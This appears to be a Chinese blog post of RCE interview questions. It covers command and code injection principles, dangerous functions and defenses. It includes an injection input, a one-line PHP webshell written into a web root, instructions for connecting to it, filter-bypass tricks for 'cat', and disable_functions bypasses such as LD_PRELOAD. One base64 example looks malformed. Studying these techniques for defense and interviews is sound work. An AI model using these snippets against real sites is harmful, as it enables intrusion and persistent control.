Loading ...
RCE 面试题

1. 什么是 RCE

RCE (Remote Command/Code Execute 即远程代码执行和远程命令执行的统称,指攻击者向后台服务器注入操作系统命令或代码,从而控制后台系统,分为远程命令执行和远程代码执行,属于高危漏洞,常被统称为 RCE。

2. 远程命令执行漏洞原理是什么?

核心原理是应用程序未对用户输入进行严格过滤,将用户可控输入直接拼接进系统命令执行函数(如systemexec),导致攻击者注入的恶意命令被系统执行。 例如:应用程序通过system("ping " + $_GET['ip'])执行 ping 命令,若用户输入127.0.0.1;ls,则拼接后命令变为ping 127.0.0.1;ls,其中;ls会被作为新命令执行,最终执行ls查看文件。

3. 远程代码执行漏洞原理是什么?

原理是应用程序将用户可控输入直接作为代码执行(未过滤或过滤不严),导致攻击者注入的恶意代码被应用程序解析执行。 例如:PHP 中若存在eval("echo " . $_GET['input']);,用户输入1;phpinfo();时,代码会被拼接为eval("echo 1;phpinfo();");,进而执行phpinfo()函数,泄露服务器信息。

4. 代码执行的函数有哪些?

代码执行函数指直接将输入作为代码解析执行的函数,分语言举例:

  • PHP:eval()assert()preg_replace()(带/e修饰符)、array_map ()create_function()call_user_func ()

  • Python:exec()eval()

  • Java:ScriptEngine.eval()(如 Rhino 引擎)、Runtime.exec()(间接执行字节码)

  • JavaScript:eval()

5. 命令执行的函数有哪些?

命令执行函数指直接调用操作系统命令的函数,分语言 / 场景举例:

  • PHP:system()exec()shell_exec()passthru()popen()proc_open()

  • Python:os.system()os.popen()subprocess.call()subprocess.Popen()

  • Java:Runtime.getRuntime().exec()

  • 系统层面:Linux 的system()、Windows 的CreateProcess()

6. php 能远程执行的函数有什么?

PHP 中可用于远程执行(代码 / 命令)的函数主要包括:

  • 代码执行eval()assert()(5.4 前)、create_function()preg_replace('/pattern/e', ...)(PHP 7.0 前)、call_user_func()(动态调用执行函数)。

  • 命令执行system()exec()shell_exec()passthru()popen()proc_open()

  • 间接执行include()/require()(远程包含文件时执行代码,需allow_url_include=On)。

7. RCE 漏洞有什么危害、利用方式及防御措施?

  • 危害 攻击者可完全控制目标系统(如读取 / 篡改文件、窃取数据)、横向渗透内网、植入恶意程序(如勒索软件)、瘫痪服务等,是最高危漏洞之一。

  • 利用方式 直接执行命令(如lswhoami)获取信息;写入 webshell 持久化控制;通过命令提权(如sudo、内核漏洞)获取更高权限;下载恶意文件(如wget)扩大影响。

  • 防御措施

    • 输入严格过滤:用白名单限制允许的字符 / 命令,禁止特殊符号(如;|&)。

    • 避免直接拼接执行:使用安全 API(如参数化调用,避免system("cmd " + input))。

    • 最小权限运行:应用程序以低权限用户(如 www-data)运行,限制文件 / 系统访问权限。

    • 禁用危险函数:通过php.inidisable_functions禁用evalsystem等。

8. 一个站点存在 RCE 漏洞,如何 getshell?如何利用 webshell 进行连接?

  • Getshell 方法 利用 RCE 执行命令写入 webshell 文件。例如:

    • 若为 Linux,执行echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php(写入 PHP 一句话木马)。

    • 若为 Windows,执行echo ^<?php @eval($_POST["cmd"]);?^> > C:\www\shell.php(注意转义特殊符号)。

  • 连接 webshell 使用工具(如蚁剑、菜刀、冰蝎)输入 webshell 的 URL(如http://target.com/shell.php)和密码(如cmd),工具通过 POST 请求发送命令(如$_POST["cmd"]=phpinfo();)与 webshell 交互,实现文件管理、命令执行等操作。

9. 想要查看文件时发现 cat 被过滤了,怎么办?

核心思路是用替代命令绕过过滤规则,常见方法:

  • 替代命令:more fileless file(分页查看)、head file(查看头部)、tail file(查看尾部)、nl file(带行号)、od -c file(八进制显示)、vi file(编辑模式查看,:q 退出)。

  • 绕过过滤:

    • 大小写混淆:Cat fileCAT file(若系统不区分大小写)。

    • 变量绕过:a=c;b=a;c=t; $a$b$c 文件名

    • 编码进制绕过:对命令进行 base64 等编码处理后执行,如echo 'Y2F0wqAK' | base64 -d 文件名

    • 字符拼接:c''at filec$1at file(shell 会忽略空字符或变量)。

    • 转义字符:c\at file(反斜杠转义)。

    • 通配符:ca? file?匹配单个字符)、c* file*匹配多个字符)。

10. 如何绕过 php.ini 中 disable_function 的限制?有哪些方法?其中成功率最高的是哪个?为什么?

  • 常见方法

    1. LD_PRELOAD 劫持(Linux):上传自定义共享库(.so 文件),通过putenv("LD_PRELOAD=/tmp/evil.so")预加载,劫持system等函数实现命令执行。

    2. PHP 扩展漏洞:利用imapgd等扩展的漏洞(如imap_open的命令注入)绕过限制。

    3. FFI 扩展:若启用FFI(Foreign Function Interface),可直接调用系统函数执行命令。

    4. Windows COM 组件:在 Windows 系统中,通过COM("WScript.Shell")调用系统命令。

  • 成功率最高的是 LD_PRELOAD 劫持 原因:兼容性强(适用于大多数 Linux 系统),无需依赖特定 PHP 扩展(仅需putenvmail等未被禁用的函数),且实现逻辑简单(通过动态链接库劫持系统函数),对环境要求低,因此实际场景中成功率最高。

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇